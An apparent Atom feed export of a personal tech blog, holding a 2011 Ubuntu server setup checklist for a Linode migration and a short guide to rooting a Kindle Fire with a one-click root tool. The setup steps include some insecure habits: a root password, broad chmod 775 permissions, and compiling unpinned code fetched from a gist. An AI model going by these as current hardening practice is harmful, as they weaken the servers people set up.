<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-21390211</id><updated>2012-01-30T01:11:09.876+01:00</updated><category term='native client'/><category term='flash'/><category term='solution'/><category term='ai'/><category term='icons'/><category term='news'/><category term='towers'/><category term='securom 7'/><category term='development'/><category term='interesting'/><category term='free'/><category term='device'/><category term='updates'/><category term='scaling'/><category term='algorithms'/><category term='Ubuntu X Xorg Package Update Broken'/><category term='qfixapp'/><category term='various'/><category term='module'/><category term='western'/><category term='boozing'/><category term='mouse'/><category term='personality'/><category term='overlord'/><category term='sane'/><category term='flaw'/><category term='kane'/><category term='beryl'/><category term='motioninjoy'/><category term='portal'/><category term='video'/><category term='jaunty'/><category term='xss'/><category term='germany'/><category term='maxtor'/><category term='purple water'/><category term='bioware'/><category term='rant'/><category term='escalation'/><category term='while'/><category term='tron'/><category term='scanner'/><category term='genetic'/><category term='colour'/><category term='screen scape'/><category term='lego'/><category term='ps3'/><category term='mad'/><category term='ntfs'/><category term='friendfeed'/><category term='cd'/><category term='ata'/><category term='2007'/><category term='noloris'/><category term='happy new year'/><category term='infographic'/><category term='styles'/><category term='world of warcraft'/><category term='muxtape'/><category term='drivers'/><category term='sacrifice'/><category term='delicious'/><category term='stability'/><category term='mac'/><category term='damnit'/><category term='optimization'/><category term='fps'/><category term='colony'/><category term='design'/><category term='Edgy Efy'/><category term='ubuntu'/><category term='notification'/><category term='error'/><category term='Oki'/><category term='google'/><category term='ruby'/><category term='tethering'/><category term='condition'/><category term='challenge'/><category term='list'/><category term='recursive'/><category term='sony'/><category term='ww2'/><category term='iso'/><category term='aok'/><category term='lpatch'/><category term='advertising'/><category term='hd dvd'/><category term='wine'/><category term='note to self'/><category term='bullshit'/><category term='tumblr'/><category term='eyecandy'/><category term='tray'/><category term='censorship'/><category term='Jung'/><category term='rows'/><category term='3g'/><category term='scraping'/><category term='nokia'/><category term='sound'/><category term='shell'/><category term='plugin'/><category term='notice'/><category term='user interface'/><category term='expanding'/><category term='spyware'/><category term='october'/><category term='code'/><category term='settlers'/><category term='markup'/><category term='update'/><category term='tumblelog'/><category term='pulseaudio'/><category term='driver'/><category term='2'/><category term='hack'/><category term='south park'/><category term='tiberium wars'/><category term='shell script'/><category term='bot'/><category term='check'/><category term='exist'/><category term='howto'/><category term='notification area'/><category term='downloader'/><category term='program'/><category term='ssh'/><category term='pownce'/><category term='music'/><category term='scrolling'/><category term='freeware'/><category term='quiz'/><category term='gprs'/><category term='limitipconn'/><category term='wifi wireless hack wep aircrack linux ubuntu note'/><category term='meta'/><category term='advert'/><category term='wikipedia'/><category term='cool'/><category term='essay'/><category term='phishing'/><category term='totem'/><category term='sql'/><category term='rpg'/><category term='twitter'/><category term='trackmania'/><category term='kernel'/><category term='algorithm x'/><category term='steam'/><category term='tetris cube'/><category term='fear'/><category term='vice city'/><category term='messe'/><category term='gmail'/><category term='problem'/><category term='calculator'/><category term='sander cohen'/><category term='nostalgia'/><category term='command and conquer'/><category term='service pack 1'/><category term='installation'/><category term='funny'/><category term='web'/><category term='modern'/><category term='playstation 3'/><category term='mindviz'/><category term='ram'/><category term='introversion'/><category term='c5700'/><category term='solving'/><category term='contact list'/><category term='red grass'/><category term='puzzle'/><category term='open source'/><category term='odbc'/><category term='fair'/><category term='windows 7'/><category term='railroads'/><category term='starcraft'/><category term='cebit'/><category term='artec'/><category term='troubleshooting'/><category term='test'/><category term='psychology'/><category term='applications'/><category term='css'/><category term='arch linux'/><category term='link'/><category term='tv'/><category term='scarface'/><category term='mcafee'/><category term='80073701'/><category term='w32codecs'/><category term='airborne'/><category term='review'/><category term='limit'/><category term='freeze'/><category term='offset'/><category term='humor'/><category term='contest'/><category term='virtualbox'/><category term='seven'/><category term='vmware'/><category term='security'/><category term='hd-dvd'/><category term='msxml'/><category term='geek'/><category term='typology'/><category term='game'/><category term='dbms'/><category term='links'/><category term='gaming'/><category term='movie'/><category term='slowloris'/><category term='aoe2'/><category term='netsec'/><category term='software'/><category term='digg'/><category term='kippo'/><category term='minimax'/><category term='color'/><category term='shooting trouble'/><category term='europe'/><category term='partition'/><category term='antiloris'/><category term='fun'/><category term='my dream app'/><category term='scam'/><category term='defcon'/><category term='msiexec'/><category term='capture'/><category term='exploit'/><category term='vista'/><category term='jade empire'/><category term='presenter view linux ubuntu openoffice impress impressive presenting screen dual'/><category term='articles'/><category term='bioshock'/><category term='glitch'/><category term='sid meier'/><category term='media'/><category term='old blog'/><category term='bazooka'/><category term='supreme commander'/><category term='scanners'/><category term='wifi wireless hack linux ubuntu firesheep compile'/><category term='flatout'/><category term='multiplayer'/><category term='edgy eft'/><category term='ubuntu aircrack maverick intel wireless iwl3945 3945ABG channel problem fix solution'/><category term='apple'/><category term='64bit'/><category term='7'/><category term='feisty'/><category term='load'/><category term='skype'/><category term='savage'/><category term='youtube'/><category term='dancing links'/><category term='assembly'/><category term='neverwinter nights'/><category term='hardy'/><category term='katmouse'/><category term='star wars'/><category term='moh'/><category term='virtual memory'/><category term='stalker'/><category term='prince of persia'/><category term='directdraw'/><category term='palettestealersuspender'/><category term='python'/><category term='browser'/><category term='internet'/><category term='script'/><category term='windows'/><category term='honeypot'/><category term='compiz'/><category term='screenshots'/><category term='backtracking'/><category term='database'/><category term='presentations'/><category term='apache'/><category term='linux'/><category term='xsane'/><category term='crash'/><category term='privilege'/><category term='ant'/><category term='Ubuntu Aiglx Compiz Thinkpad Intel Cgwd Themes'/><category term='personal'/><category term='old'/><category term='tool'/><category term='recursive backtracking'/><category term='php'/><category term='programming'/><category term='mount'/><category term='tray bar'/><category term='games'/><category term='bored'/><category term='knuth'/><category term='macuyiko'/><category term='blog'/><category term='reddit'/><category term='television'/><category term='time'/><category term='rts'/><category term='life'/><category term='n95'/><category term='tests'/><category term='blogger'/><category term='rapture'/><category term='hacks'/><category term='disorder'/><category term='addictive'/><category term='solved'/><category term='the two thrones'/><category term='the number'/><category term='search'/><category term='missing'/><category term='bravia'/><category term='slashdot'/><category term='imported'/><category term='series'/><category term='warning'/><title type='text'>Bed Against The Wall</title><subtitle type='html'>Welcome to Bed Against The Wall, the blog where I talk about games, puzzles, programming, I.T., economics, optimization, and more.&lt;br&gt;Here, the bed is always against the wall!</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://blog.macuyiko.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://blog.macuyiko.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default?start-index=101&amp;max-results=100'/><author><name>Seppe vanden Broucke</name><uri>https://profiles.google.com/109801607284916240262</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-jv7ZgBEveU8/AAAAAAAAAAI/AAAAAAAASKg/_AAsrCl73m0/s512-c/photo.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>180</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-21390211.post-5670991525796063243</id><published>2011-12-18T16:38:00.000+01:00</published><updated>2011-12-18T16:38:15.204+01:00</updated><title type='text'>Oneiric / Linode Server Migration</title><content type='html'>&lt;p&gt;Sigh... I'm sorry, Slicehost, but I'm leaving you. I've been a long (and very happy) Slicehost customer for the past few years. The service offered was perfect for anyone knowing their way around SSH, Linux administration and setting up a server -- and all that for just 30 bucks a month. Nothing bad can be said about the Slicehost developers either: their support has been excellent, the uptime of their servers near-perfect, and their tutorials and guides well-written. I've ran MySQL and web servers, wiki's, proxy's, game hosts and much more on my little slice. I even used it as a &lt;a href="http://blog.macuyiko.com/2011/03/running-ssh-honeypot-with-kippo-lets.html"&gt;honeypot&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;But then, a sudden announcement changed everything. In 2008 (such a long time, already!) Slicehost told the world that they had been acquired by Rackspace. Since then, I've become more and more frustrated with Rackspace's need to shove buzzwords, confusing plans and general overdone "enterprisiness" up my throat. Try to find out how much a &lt;a href="http://www.rackspace.com/cloud/cloud_hosting_products/servers/pricing/"&gt;new slice&lt;/a&gt; will cost you... exactly. Compare this new look with the &lt;a href="http://web.archive.org/web/20080603231902/http://www.slicehost.com/"&gt;old Slicehost landing page&lt;/a&gt;. The old page was simple, easy, beautiful. The new pricing gives the impression that you're bringing 20 consultants on board.&lt;/p&gt;&lt;p&gt;I don't have anything against acquirements in general, but the Rackspace takeover has been particularly confusing for end-users, with DNS service moving to Rackspace (free?), lower bandwidth allowances (huh?), servers moving datacenters (why?), changes in Slice sizes, and a requirement to migrate to Rackspace in 2012 (what does this mean? Just leave me be!)&lt;/p&gt;&lt;p&gt;Since I'm not charmed by Rackspace's way of handling things (I'm sure they're nice people though), I'm moving to &lt;a href="http://www.linode.com/"&gt;Linode&lt;/a&gt;. With easy to understand pricing, a clean dashboard (with all the same features as Slicehost) and not too much fluff to get in your way, it's a perfect solution for the hobbyist hacker. Even better: Linode also &lt;a href="http://journal.uggedal.com/vps-performance-comparison/"&gt;outperforms the competition&lt;/a&gt; performance-wise, although the linked benchmark is a bit old, and I've never had complaints with Slicehost in this regard.&lt;/p&gt;&lt;p&gt;The reason why I've been putting off the move is because it involves setting up a new server (easy), configuring it exactly as you want (difficult), and making sure everything is migrated correctly (ugh). There's always one little configuration directive, file, or database table which is forgotten during the process.&lt;/p&gt;&lt;p&gt;The steps below serve as a reminder, mainly aimed at my (future) self, for setting up an Ubuntu (Oneiric) server. I'm looking forward to seeing how Linode performs...&lt;/p&gt;&lt;h2&gt;1. Install Ubuntu&lt;/h2&gt;&lt;h2&gt;2. Edit /etc/apt/sources.list and update&lt;/h2&gt;&lt;code style="background-color: #eee;"&gt;apt-get update&lt;br /&gt;apt-get upgrade&lt;/code&gt;&lt;h2&gt;3. Enable the root account&lt;/h2&gt;&lt;code style="background-color: #eee;"&gt;sudo passwd root&lt;/code&gt;&lt;p&gt;And give root a password. Afterwards we become root by running:&lt;/p&gt;&lt;code style="background-color: #eee;"&gt;su&lt;/code&gt;&lt;h2&gt;4. Synchronize the system clock&lt;/h2&gt;&lt;p&gt;Synchronize the system clock with an NTP   server over the internet. (You can also install this via the Time and Date Preferences GUI.&lt;/p&gt;&lt;code style="background-color: #eee;"&gt;apt-get install ntp ntpdate&lt;/code&gt;&lt;h2&gt;5. Install the SSH server&lt;/h2&gt;&lt;p&gt;Install OpenSSH by default.&lt;/p&gt;&lt;code style="background-color: #eee;"&gt;apt-get install ssh openssh-server&lt;/code&gt;&lt;h2&gt;6. Configure the network&lt;/h2&gt;&lt;p&gt;A server should have a static IP address; edit /etc/network/interfaces:&lt;/p&gt;&lt;code style="background-color: #eee;"&gt;#This file describes the network interfaces available on your system&lt;br /&gt;    # and how to activate them. For more information, see interfaces(5).&lt;br /&gt;    # The loopback network interface&lt;br /&gt;    auto lo&lt;br /&gt;    iface lo inet loopback&lt;br /&gt;    # The primary network interface&lt;br /&gt;    auto eth0&lt;br /&gt;    iface eth0 inet static&lt;br /&gt;    &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;address 192.168.0.100&lt;br /&gt;    &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;netmask 255.255.255.0&lt;br /&gt;    &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;network 192.168.0.0&lt;br /&gt;    &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;broadcast 192.168.0.255&lt;br /&gt;    &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;gateway 192.168.0.1&lt;/code&gt;&lt;p&gt;Then restart your network:&lt;/p&gt;&lt;code style="background-color: #eee;"&gt;/etc/init.d/networking restart&lt;/code&gt;&lt;p&gt;Then edit /etc/hosts:&lt;/p&gt;&lt;code style="background-color: #eee;"&gt;127.0.0.1       localhost.localdomain   localhost&lt;br /&gt;192.168.0.100   server1.example.com     server1&lt;br /&gt;&lt;br /&gt;# The following lines are desirable for IPv6 capable hosts&lt;br /&gt;  ::1     ip6-localhost ip6-loopback&lt;br /&gt;fe00::0 ip6-localnet&lt;br /&gt;ff00::0 ip6-mcastprefix&lt;br /&gt;  ff02::1 ip6-allnodes&lt;br /&gt;ff02::2 ip6-allrouters&lt;br /&gt;  ff02::3 ip6-allhosts&lt;/code&gt;&lt;p&gt;Now run:&lt;/p&gt;&lt;code style="background-color: #eee;"&gt;echo server1.example.com &amp;gt; /etc/hostname&lt;/code&gt;&lt;p&gt;Reboot the system:&lt;/p&gt;&lt;code style="background-color: #eee;"&gt;reboot&lt;/code&gt;&lt;p&gt;Afterwards, run:&lt;/p&gt;&lt;code style="background-color: #eee;"&gt;hostname&lt;br /&gt;hostname -f&lt;/code&gt;&lt;p&gt;Both should show your chosen hostname.&lt;/p&gt;&lt;h2&gt;7. Add users&lt;/h2&gt;&lt;p&gt;Add some users. Adding a "webmaster" is recommended:&lt;/p&gt;&lt;code style="background-color: #eee;"&gt;sudo useradd -d /home/webmaster -m webmaster&lt;br /&gt;sudo passwd webmaster&lt;br /&gt;# Set /bin/bash as shell&lt;br /&gt;# Edit /etc/sudoers&lt;br /&gt;&lt;/code&gt;&lt;h2&gt;8. MySQL&lt;/h2&gt;&lt;p&gt;Install MySQL. You will be asked for a root password.&lt;/p&gt;&lt;code style="background-color: #eee;"&gt;apt-get install mysql-server mysql-client&lt;/code&gt;&lt;p&gt;We keep bind-address = 127.0.0.1 in /etc/mysql/my.cnf.&lt;/p&gt;&lt;h2&gt;9. Postfix for SMTP support&lt;/h2&gt;&lt;code style="background-color: #eee;"&gt;apt-get install postfix procmail&lt;/code&gt;&lt;p&gt;You will be asked two questions. Answer as follows:&lt;/p&gt;  &lt;code style="background-color: #eee;"&gt;General type of configuration? &amp;lt;-- Internet Site&lt;br /&gt;    Mail   name? &amp;lt;-- server1.example.com&lt;/code&gt;&lt;p&gt;Run:&lt;/p&gt;&lt;code style="background-color: #eee;"&gt;dpkg-reconfigure postfix&lt;/code&gt;&lt;p&gt;Again, you'll be asked some questions:&lt;/p&gt;  &lt;code style="background-color: #eee;"&gt;General type of configuration? &amp;lt;-- Internet Site&lt;br /&gt;    Where should   mail for root go &amp;lt;-- [blank]&lt;br /&gt;    Mail name? &amp;lt;--   server1.example.com&lt;br /&gt;    Other destinations to accept   mail for? (blank for none) &amp;lt;--   server1.example.com, localhost.example.com, localhost.localdomain,   localhost&lt;br /&gt;    Force synchronous updates on mail   queue? &amp;lt;-- No&lt;br /&gt;    Local   networks? &amp;lt;-- 127.0.0.0/8&lt;br /&gt;    Use procmail for local delivery? &amp;lt;-- Yes&lt;br /&gt;    Mailbox size   limit &amp;lt;-- 0&lt;br /&gt;    Local   address extension character? &amp;lt;--   +&lt;br /&gt;    Internet protocols to use? &amp;lt;-- ipv4&lt;/code&gt;&lt;p&gt;Next:&lt;/p&gt;&lt;code style="background-color: #eee;"&gt;postconf   -e 'inet_interfaces = loopback-only'&lt;/code&gt;&lt;p&gt;We do not create certificates any more. Only using postfix as a local-only SMTP handler. IMAP and others not handled with Google Apps.&lt;/p&gt;&lt;p&gt;Restart Postfix:&lt;/p&gt;&lt;code style="background-color: #eee;"&gt;/etc/init.d/postfix restart&lt;/code&gt;&lt;h2&gt;10. Apache/PHP5&lt;/h2&gt;&lt;h3&gt;11.1. Installation&lt;/h3&gt;&lt;code style="background-color: #eee;"&gt;apt-get install apache2 apache2-mpm-prefork apache2-utils ssl-cert&lt;/code&gt;&lt;p&gt;Install PHP5:&lt;/p&gt;&lt;code style="background-color: #eee;"&gt;apt-get install libapache2-mod-php5 php5 php5-common php5-curl   php5-dev php5-gd php5-idn php-pear php5-imagick php5-imap php5-json php5-mcrypt   php5-memcache php5-mhash php5-ming php5-mysql php5-ps php5-pspell php5-recode   php5-snmp php5-sqlite php5-tidy php5-xmlrpc php5-xsl&lt;/code&gt;&lt;p&gt;Edit /etc/apache2/mods-available/dir.conf:&lt;/p&gt;  &lt;code style="background-color: #eee;"&gt;&amp;lt;IfModule mod_dir.c&amp;gt;              &lt;br /&gt;  #DirectoryIndex index.html index.cgi index.pl index.php index.xhtml            &lt;br /&gt;  DirectoryIndex index.html index.htm index.shtml index.cgi index.php index.xhtml&lt;br /&gt;      &amp;lt;/IfModule&amp;gt;&lt;/code&gt;&lt;p&gt;Now we have to enable some Apache modules: &lt;/p&gt;&lt;code style="background-color: #eee;"&gt;a2enmod ssl&lt;br /&gt;a2enmod rewrite&lt;br /&gt;a2enmod suexec&lt;br /&gt;a2enmod status&lt;br /&gt;a2enmod include&lt;/code&gt;&lt;p&gt;Reload the Apache configuration: &lt;/p&gt;&lt;code style="background-color: #eee;"&gt;/etc/init.d/apache2 force-reload&lt;/code&gt;&lt;p&gt;Don&amp;#39;t forget to edit php.ini.&lt;/p&gt;&lt;h3&gt;11.2. Adding subdomains&lt;/h3&gt;&lt;p&gt;You can add sites to /etc/apache2/sites-enabled, use the following example configuration file:&lt;/p&gt;&lt;code style="background-color: #eee;"&gt;&amp;lt;VirtualHost *&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;ServerAdmin info@sitename.com&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;ServerName sitename.com &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;ServerAlias *.sitename.com&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;DocumentRoot /var/www/sitename.com/&lt;br /&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;Directory /&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Options FollowSymLinks&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;AllowOverride All&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;/Directory&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;Directory /var/www/sitename.com/&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Options Indexes FollowSymLinks MultiViews&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DirectoryIndex index.html index.htm index.php index.php3&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;AllowOverride All&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Order allow,deny&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;allow from all&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;/Directory&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;Directory &amp;quot;/usr/lib/cgi-bin&amp;quot;&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;AllowOverride None&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Options ExecCGI -MultiViews +SymLinksIfOwnerMatch&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Order allow,deny&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Allow from all&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;/Directory&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;ErrorLog /var/log/apache2/error.log&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;# Possible values include: debug, info, notice, warn, error, crit,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;# alert, emerg.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;LogLevel warn&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;CustomLog /var/log/apache2/access.log combined&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;ServerSignature On&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;#Alias /doc/ &amp;quot;/usr/share/doc/&amp;quot;&lt;br /&gt;&lt;br /&gt;&amp;lt;/VirtualHost&amp;gt;&lt;/code&gt;&lt;p&gt;Don't forget to edit the default virtualhost with a NameVirtualHost * and AllowOverride All.&lt;/p&gt;&lt;h2&gt;12. Proftpd&lt;/h2&gt;&lt;p&gt;Install Proftpd:&lt;/p&gt;&lt;code style="background-color: #eee;"&gt;apt-get install proftpd ucf&lt;/code&gt;&lt;p&gt;You will be asked a question:&lt;/p&gt;  &lt;p&gt;&lt;code style="background-color: #eee;"&gt;Run proftpd from inetd or standalone? &amp;lt;-- standalone&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Now edit /etc/proftpd/proftpd.conf:&lt;/p&gt;  &lt;code style="background-color: #eee;"&gt;[...]&lt;br /&gt;  DefaultRoot /&lt;br /&gt;  UseIPv6 off&lt;br /&gt;  [...]&lt;/code&gt;&lt;p&gt;Then restart Proftpd:&lt;/p&gt;&lt;code style="background-color: #eee;"&gt;/etc/init.d/proftpd restart&lt;/code&gt;&lt;h2&gt;13. PHPMyAdmin&lt;/h2&gt;&lt;p&gt;Install PHPMyAdmin:&lt;/p&gt;&lt;code style="background-color: #eee;"&gt;apt-get install phpmyadmin&lt;/code&gt;&lt;p&gt;Pick apache2 to configure.&lt;/p&gt;&lt;h2&gt;14. Secure SSH a bit&lt;/h2&gt;&lt;p&gt;Edit /etc/ssh/sshd_config:&lt;/p&gt;&lt;code style="background-color: #eee;"&gt;Port 4444 #Other than 22&lt;br /&gt;PermitRootLogin no #Make sure other user can login/sudo&lt;/code&gt;&lt;h2&gt;15. Set /var/www permissions&lt;/h2&gt;&lt;code style="background-color: #eee;"&gt;chown -R webmaster:www-data /var/www&lt;br /&gt;chmod 775 -R /var/www&lt;/code&gt;&lt;h2&gt;16. Install slowloris protection&lt;/h2&gt;&lt;code style="background-color: #eee;"&gt;apt-get install gcc apache2-threaded-dev&lt;br /&gt;wget https://gist.github.com/raw/773464/4e7250692c34f55725384525b513e71be7541f5a/mod_muantiloris.c&lt;br /&gt;apxs2 -a -i -c mod_muantiloris.c&lt;br /&gt;/etc/init.d/apache2 restart&lt;/code&gt;&lt;p&gt;Edit /etc/apache2/httpd.conf:&lt;/p&gt;&lt;code style="background-color: #eee;"&gt;ExtendedStatus On&lt;br /&gt;&lt;IfModule mod_limitipconn.c&gt;&lt;br /&gt;IPReadLimit 5&lt;br /&gt;IPPostLimit 10&lt;br /&gt;&lt;/IfModule&gt;&lt;/code&gt;&lt;h2&gt;17. Install fail2ban&lt;/h2&gt;&lt;code style="background-color: #eee;"&gt;apt-get install fail2ban&lt;/code&gt;&lt;p&gt;Don't forget to configure a jail.local and add custom filters if needed.&lt;/p&gt;&lt;h2&gt;18. Final migration&lt;/h2&gt;&lt;p&gt;Move user files, virtualhost configurations, /var/www. Backup mysql data bases.&lt;/p&gt;&lt;p&gt;Install openjdk-6-jre, davmail if needed.&lt;/p&gt;&lt;p&gt;Backup script:&lt;/p&gt;&lt;code style="background-color: #eee;"&gt;tar cvpzf backup.tgz --exclude=/proc --exclude=/lost+found --exclude=/mnt --exclude=/sys --exclude=/dev --exclude=/usr --exclude=/bin --exclude=/sbin --exclude=/backup.tgz /&lt;/code&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/21390211-5670991525796063243?l=blog.macuyiko.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/5670991525796063243'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/5670991525796063243'/><link rel='alternate' type='text/html' href='http://blog.macuyiko.com/2011/12/oneiric-linode-server-migration.html' title='Oneiric / Linode Server Migration'/><author><name>Seppe vanden Broucke</name><uri>https://profiles.google.com/109801607284916240262</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-jv7ZgBEveU8/AAAAAAAAAAI/AAAAAAAASKg/_AAsrCl73m0/s512-c/photo.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-21390211.post-5714404251946074115</id><published>2011-12-10T15:10:00.001+01:00</published><updated>2011-12-10T15:21:34.401+01:00</updated><title type='text'>Rooting Kindle Fire</title><content type='html'>The following overview is just a reminder, mainly aimed at myself in the future, on how to root the kindle fire.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;1. Install Android SDK&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Download from http://developer.android.com/sdk/index.html&lt;/li&gt;&lt;li&gt;Update packages&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;b&gt;2. In Kindle:&amp;nbsp;“Allow Installation of Applications From Unknown Sources”&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;3. Edit "android_winusb.inf" in "usb_driver" in Android install path&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Copy and paste right beneath [Google.NTx86] and [Google.NTamd64] line:&lt;/li&gt;&lt;/ul&gt;&lt;blockquote class="tr_bq"&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;;Kindle Fire&lt;br /&gt;%SingleAdbInterface% = USB_Install, USB\VID_1949&amp;amp;PID_0006&lt;br /&gt;%CompositeAdbInterface% = USB_Install, USB\VID_1949&amp;amp;PID_0006&amp;amp;MI_01&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;b&gt;4. Edit "adb_usb.ini" in ".android"&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Add 0x1949&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;b&gt;5. Update USB driver&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;“Update Driver Software” in Device Manager with&amp;nbsp;"android_winusb.inf"&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;b&gt;6. (Optional) test USB&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;In "platform-tools", issue "adb kill-server" and "adb devices"&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;b&gt;7. SuperOneClick root&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Download from ftp://shortfuse.org/SuperOneClick/Packages/SuperOneClickv2.2-ShortFuse.zip&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;b&gt;8. Get "Root Explorer v2.17.1.apk" and "Vending.3.3.12.apk", together with Google Services Framework apk&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;9. Finalisation&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Install Google Service Framework apk and Root Explorer apk&lt;/li&gt;&lt;li&gt;“Move” Vending apk to “/system/app" with Root Explorer&lt;/li&gt;&lt;li&gt;Mount as RW and set Vending apk filepermissions to rw-r–r–&lt;/li&gt;&lt;li&gt;Install Vending apk and reboot&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/21390211-5714404251946074115?l=blog.macuyiko.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/5714404251946074115'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/5714404251946074115'/><link rel='alternate' type='text/html' href='http://blog.macuyiko.com/2011/12/rooting-kindle-fire.html' title='Rooting Kindle Fire'/><author><name>Seppe vanden Broucke</name><uri>https://profiles.google.com/109801607284916240262</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' 